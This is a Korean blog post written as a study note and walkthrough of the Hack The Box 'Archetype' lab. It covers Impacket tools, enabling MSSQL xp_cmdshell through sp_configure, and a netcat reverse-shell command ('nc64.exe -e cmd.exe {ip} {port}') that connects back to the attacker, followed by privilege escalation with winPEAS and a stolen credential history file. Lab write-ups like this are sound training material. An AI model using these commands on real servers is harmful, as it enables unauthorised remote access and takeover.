Hack The Box/Lab

Archetype

YujinSec 2026. 4. 12. 08:54

1. 기본 개념

1) nmap 옵션

-sC: 해당 포트 서비스에 대한 추가정보 탐색

 

2) smbclient 옵션

-N: 비밀번호 없이 접속

-L: 사용가능한 서비스 목록 확인  

 

3) MSSQL

: DB 서버

- microsoft가 제작함

- sql 쿼리 언어 사용

- 윈도우에서 많이 사용함

 

치트시트)

https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

 

MSSQL Injection Cheat Sheet | pentestmonkey

MSSQL Injection Cheat Sheet Some useful syntax reminders for SQL Injection into MSSQL databases… This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use th

pentestmonkey.net

 

 

Impacket: 네트워크 프로토콜을 다루기 위한 파이썬 클래스들 모음

- 프로토콜 구현 자체를 돕기도 함

설치)

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
sudo python3 setup.py install

- examples 디렉터리: 공격을 위해 완성된 스크립트 모음집

> mssqclient.py: mssql 서버에 접속해서 명령을 실행하도록 돕는 스크립트. 

>> 옵션 -windows-auth: 윈도우 계정으로 mssql에 로그인 하기 위한 옵션

> psexec.py: 다른 pc에서의 명령 실행 해 줌. 쉘 획득 시 사용. 

ex) psexec.py Administrator@타겟IP : 관리자 권한으로 타켓 ip에 접속하기

 

SQL 명령어들) 

- help

- SELECT IS_SRVROLEMEMBER ('sysadmin'); : 현재 로그인한 계정이 sysadmin 권한인지. 맞으면 1, 아니면 0 반환. null이면 권한 부족으로 확인 불가. 

 

sysadmin: mssql에서 최상위 관리자 권한

IS_SRVROLEMEMBER: mssql 내장 함수. 현재 계정이 특정 서버 역할에 속해 있는지를 확인해줌.

 

*sys = system, srv = server

 

select: 조회, exec: 실행으로 구분!

 

EXEC: SQL에서 실행하라는 명령어 

- xp_cmdshell: mssql에서 os 명령(=cmd.exe로 전달 O, 즉 윈도우 명령 전달 O해짐)을 실행할 수 있도록 돕는 기능. mssql 2005에서는 비활성화 되있을 수 있음. 

즉 mssql 서버가 돌고 있는 윈도우 os에까지 접근하려는 것. 

해당 스크립트 쓸 때마다 다시 cmd창이 새로 켜지는 것 주의!

> EXEC xp_cmdshell 'net user'; : 윈도우 os 사용자 목록 출력 

- sp_configure: mssql 설정 변경용 명령 (서버 설정값 조회/변경)

> EXEC sp_configure 'show advanced options', 1; : 고급 설정 옵션 활성화 해두자. 

> RECONFIGURE; : 설정 적용 ㄱㄱ

> EXEC sp_configure 'xp_cmdshell', 1; : os 명령 실행 기능 on 

 

*priv: 관리자 권한이 필요함. 

 

> xp_cmdshell "powershell -c 명령어들" : cmd대신 파워셀로 더 많은 기능을 사용하도록 확장 해주는 방법. 

-c: 파워셀이 뒤 명령을 실행하도록 지시. 

 

4) netcat = nc

: 네트워크로 데이터 주고 받는  tool

 

nc 옵션 [포트번호]

-l: listen = 대기

-v: verbose = 상세히 출력

-n: dns 안 씀. ip그대로 쓸 것 (더 빠르다)

-p: 포트

 

-e: 특정 프로그램 실헹 -> 입출력을 네트워크에 연결해

 

5) reverse shell

보통 나 -> 서버라면 

리버스 셀은 서버 -> 나에게 접속인 것. 

 

일반) 

sudo python3 -m http.server 80

: 현재 폴더를 웹 서버로 만들어서 파일을 업로드함

- 포트 번호 80: 웹 기본 포트 (http://) 

> http 서버를 파이썬 내장 기능으로 실행하도록 함

 

리버스 셀)

.\nc64.exe -e cmd.exe {ip} {port}

냇캣을 통해 cmd창이 바인딩 되도록 함. 

 

6) winPEAS: 대상 시스템 정보 찾기 과정을 자동화 해 줌. 

- 사용자가 입력한 내용을 기록한 파일을 알려주기도 함

 

 

2. 문제 풀이

우선 mssqlclient.py 스크립트를 사용해서 우리가 앞서 얻은 호스트명/아이디, 비번을 사용해서 윈도우 계정 접속을 시도해 본다. 

그리고 우리가 sysadmin권한인지 조회. 

맞다네. 

근데 xp_cmdshell은 아직 권한 부족해 보임. 

 

설정을 건드려주자. 고급 설정 on해주고, 확인 ㄱㄱ. 

권한을 0->1로 바꿔줌. 

이제 xp_xmdshell 스크립트 사용이 가능함. 여기서 파워셀 키는 명령도 켜줌 

 

이제 cmd까지 완전히 내 pc 셸처럼 쓸 수 있게 타켓 pc에 냇캣도 깔아줄 거다. 

그럴러면 우선 내 pc에서 서버 하나 만들어줘서, 타켓에 업로드 할 거임. 80은 안 돼서 8000포트 번호 사용해봄. 

리스닝 대기도 시키기,, 

 

다시 sql로 돌아가서 다운 ㄱ. 

 

그리고 정보 탐색을 위한 툴 winpeas도 다운 ㄱ. 

 

위 툴 실행 결과 중 중요 파일로 추측되는 목록도 보임. 그중 다음 기록 파일로 들어가보자.

 

여기에 관리자 권한 정보까지 들어가있음. 

권한을 가지고 들어간 폴더에서 2개의 플래그 파일 보임. 

'Hack The Box > Lab' 카테고리의 다른 글

Appointment - sql injection  (0) 2026.04.29
Markup  (0) 2026.04.12
Synced - rsync(ftp의 암호화)  (0) 2026.03.28
Mongod - db: mongoDB & mongosh  (0) 2026.03.28
Preignition - http & gobuster  (0) 2026.03.27